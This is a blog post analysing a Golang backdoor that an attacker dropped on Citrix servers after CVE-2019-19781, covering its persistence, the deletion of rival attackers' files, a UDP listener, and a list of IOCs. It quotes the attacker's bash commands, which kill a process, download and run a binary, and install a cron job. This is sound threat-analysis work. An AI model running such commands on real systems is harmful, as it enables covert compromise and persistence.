Please read the disclaimer

After the exploit release of CVE-2019-19781, malicious hackers took the opportunity to compromise Citrix instances that did not have the Citrix mitigation implemented. I had the chance to get my hands on some artefacts from a honey pot of a certain threat actor who compromised multiple servers tweet link, in this post I will talk in details on how I reversed it using Cutter.

Note: the secret key used by the malware was altered by m.


We notice that the threat actor executed the following bash commands on the compromised system:

kill -9 netscalerd; 
rm /var/tmp/netscalerd; 
mkdir /tmp/.init; 
curl -k -o /tmp/.init/httpd; 
chmod 744 /tmp/.init/httpd; 
echo "* * * * * /var/nstmp/.nscache/httpd" | crontab -; 
/tmp/.init/httpd &;
  1. It kill all running instances of netscalerd
  2. It delete the file /var/tmp/netscalerd
  3. It create the directory /tmp/.init
  4. It download a binary file from through https request and save it in /tmp/.init/httpd
  5. It create a cronjob to run /var/nstmp/.nscache/httpd, note: this file is created by the downloaded binary.

Overview of the binary file:

Opening the binary with Cutter reveals that it’s a golang compiled binary composed of multiple functions mainly:

  1. main
  2. install_itself
  3. remove_bds
  4. doFile
  5. install_cron
  6. xrun
  7. func1


main function:

Run remove_bds function as a thread and check if the file /var/nstmp/.nscache/httpd , if it does not exist it run install_itself function.


if the current process CWD do not contain the string .nscache/httpd it start /var/nstmp/.nscache/httpd as new process then it exit, else it run 2 other threads:

  1. xrun function
  2. install_cron function


install_itself function:

It create a directory /var/nstmp/.nscache


check if the file /var/nstmp/.nscache/httpd already exist


if not, it copy it self to /var/nstmp/.nscache/httpd

remove_bds function:

It continuously read the directory /netscaler/portal/scripts


then loops through all the files contained in that directory, by checking if they were created in the last 14 days


if yes, it proceed to doFile function


doFile function:

It first check if the file name contains a special 32 bytes long string (secret key)


In the case where it does not, it continue by checking if the content of the file contains the strings block or BLOCK if it does, the file will be deleted unless it also contains the secret key.


install_cron function:

Is for some reasons … empty.


xrun function:

Start a UDP listener on *:18634 then it keep listening on that port, without using the data received.


func1 function:

It continuously scan the directory /netscaler/portal/templates for *.xml files, then call doFile function. In other words every xml file that contain the string block or BLOCK will be deleted unless the content/file name contain the secret key.



From my understanding, the author’s goal was to stop other malicious hackers from exploiting and gaining access to the Citrix instance by deleting every uploaded xml file, while retaining access to himself, indeed with that 32 bytes long string which serves as a secret key, only the author of this malware can gain access to the compromised server.

Collected IOCs:

  1. Filenames:
    • /tmp/.init/httpd
    • /var/nstmp/.nscache/httpd
  2. Directories
    • /var/nstmp/.nscache
    • /tmp/.init
  3. IPs
  4. UDP listener
    • *.18634
  5. Bash history
    • kill -9 netscalerd;
    • rm /var/tmp/netscalerd;
    • mkdir /tmp/.init;
    • curl -k -o /tmp/.init/httpd;
    • chmod 744 /tmp/.init/httpd;
    • echo “* * * * * /var/nstmp/.nscache/httpd” | crontab -;
    • /tmp/.init/httpd &;